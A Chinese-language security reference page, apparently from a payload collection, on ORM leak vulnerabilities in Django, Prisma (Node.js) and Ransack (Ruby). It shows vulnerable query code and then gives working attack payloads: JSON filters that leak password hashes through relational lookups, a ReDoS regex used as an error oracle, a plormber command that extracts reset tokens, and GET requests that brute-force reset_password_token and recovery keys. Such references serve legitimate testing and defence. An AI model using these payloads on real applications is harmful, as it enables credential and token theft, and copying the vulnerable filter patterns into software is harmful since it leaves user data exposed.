跳转至

ORM 泄漏 (ORM Leak)

ORM 泄漏漏洞发生在由于对 ORM 查询处理不当而导致敏感信息(如数据库结构或用户数据)被意外公开时。如果应用程序返回原始错误消息、调试信息,或者允许攻击者以揭示底层数据的方式操纵查询,就可能会发生这种情况。

摘要 (Summary)

Django (Python)

以下代码是 ORM 查询数据库的一个基础示例。

users = User.objects.filter(**request.data)
serializer = UserSerializer(users, many=True)

问题在于 Django ORM 如何使用关键字参数语法来构建 QuerySets。通过利用解包运算符 (**),用户可以动态控制传递给 filter 方法的关键字参数,从而允许他们根据自己的需要过滤结果。

查询过滤器 (Query filter)

攻击者可以控制用于过滤结果的列。 ORM 提供了用于匹配部分值的运算符。这些运算符可以在生成的查询中使用 SQL LIKE 条件,基于用户控制的模式执行正则匹配,或应用比较运算符如 <>

{
  "username": "admin",
  "password__startswith": "p"
}

值得尝试的过滤器:

  • __startswith
  • __contains
  • __regex

关系过滤 (Relational Filtering)

让我们使用来自 Alex Brown 的《PLORMBING YOUR DJANGO ORM》 中的精彩示例。 UML-example-app-simplified-highlight

我们可以看到两种类型的关系:

  • 一对一关系 (One-to-One relationships)
  • 多对多关系 (Many-to-Many Relationships)

一对一 (One-to-One)

通过创建文章的用户进行过滤,并且该用户的密码包含字符 p

{
  "created_by__user__password__contains": "p"
}

多对多 (Many-to-Many)

基本相同,但你需要进行更多过滤。

  • 获取用户 ID:created_by__departments__employees__user__id
  • 对于每个 ID,获取用户名:created_by__departments__employees__user__username
  • 最后,泄露他们的密码哈希:created_by__departments__employees__user__password

在同一个请求中使用多个过滤器:

{
  "created_by__departments__employees__user__username__startswith": "p",
  "created_by__departments__employees__user__id": 1
}

基于错误的泄露 - ReDOS (Error-based leaking - ReDOS)

如果 Django 使用 MySQL,你还可以滥用 ReDOS,在过滤器与条件不匹配时强行触发错误。

{"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"}
// => 返回某些内容 (表示匹配)

{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}  
// => 返回 500 错误 (正则表达式匹配超时,表示不匹配)

Prisma (Node.JS)

工具 (Tools):

  • elttam/plormber - 用于利用基于时间的 ORM 泄露漏洞的工具

    plormber prisma-contains \
        --chars '0123456789abcdef' \
        --base-query-json '{"query": {PAYLOAD}}' \
        --leak-query-json '{"createdBy": {"resetToken": {"startsWith": "{ORM_LEAK}"}}}' \
        --contains-payload-json '{"body": {"contains": "{RANDOM_STRING}"}}' \
        --verbose-stats \
        https://some.vuln.app/articles/time-based;
    

示例 (Example):

Node.JS 中使用 Prisma 的 ORM 泄露示例。

const posts = await prisma.article.findMany({
  where: req.query.filter as any // 易受 ORM 泄露攻击
})

使用 include 返回创建了文章的用户记录的所有字段:

{
  "filter": {
    "include": {
      "createdBy": true
    }
  }
}

仅选择一个字段:

{
  "filter": {
    "select": {
      "createdBy": {
        "select": {
          "password": true
        }
      }
    }
  }
}

关系过滤 (Relational Filtering)

一对一 (One-to-One)

多对多 (Many-to-Many)

{
  "query": {
    "createdBy": {
      "departments": {
        "some": {
          "employees": {
            "some": {
              "departments": {
                "some": {
                  "employees": {
                    "some": {
                      "departments": {
                        "some": {
                          "employees": {
                            "some": {
                              "{fieldToLeak}": {
                                "startsWith": "{testStartsWith}"
                              }
                            }
                          }
                        }
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

Ransack (Ruby)

仅限 Ransack < 4.0.0 版本。

ransack_bruteforce_overview

  • 提取用户的 reset_password_token (密码重置令牌) 字段

    GET /posts?q[user_reset_password_token_start]=0 -> 结果页为空
    GET /posts?q[user_reset_password_token_start]=1 -> 结果页为空
    GET /posts?q[user_reset_password_token_start]=2 -> 结果页有内容
    
    GET /posts?q[user_reset_password_token_start]=2c -> 结果页为空
    GET /posts?q[user_reset_password_token_start]=2f -> 结果页有内容
    
  • 目标特定用户并提取其 recoveries_key (恢复密钥)

    GET /labs?q[creator_roles_name_cont]=superadmin​​&q[creator_recoveries_key_start]=0
    

CVE 实例 (CVE)

参考资料 (References)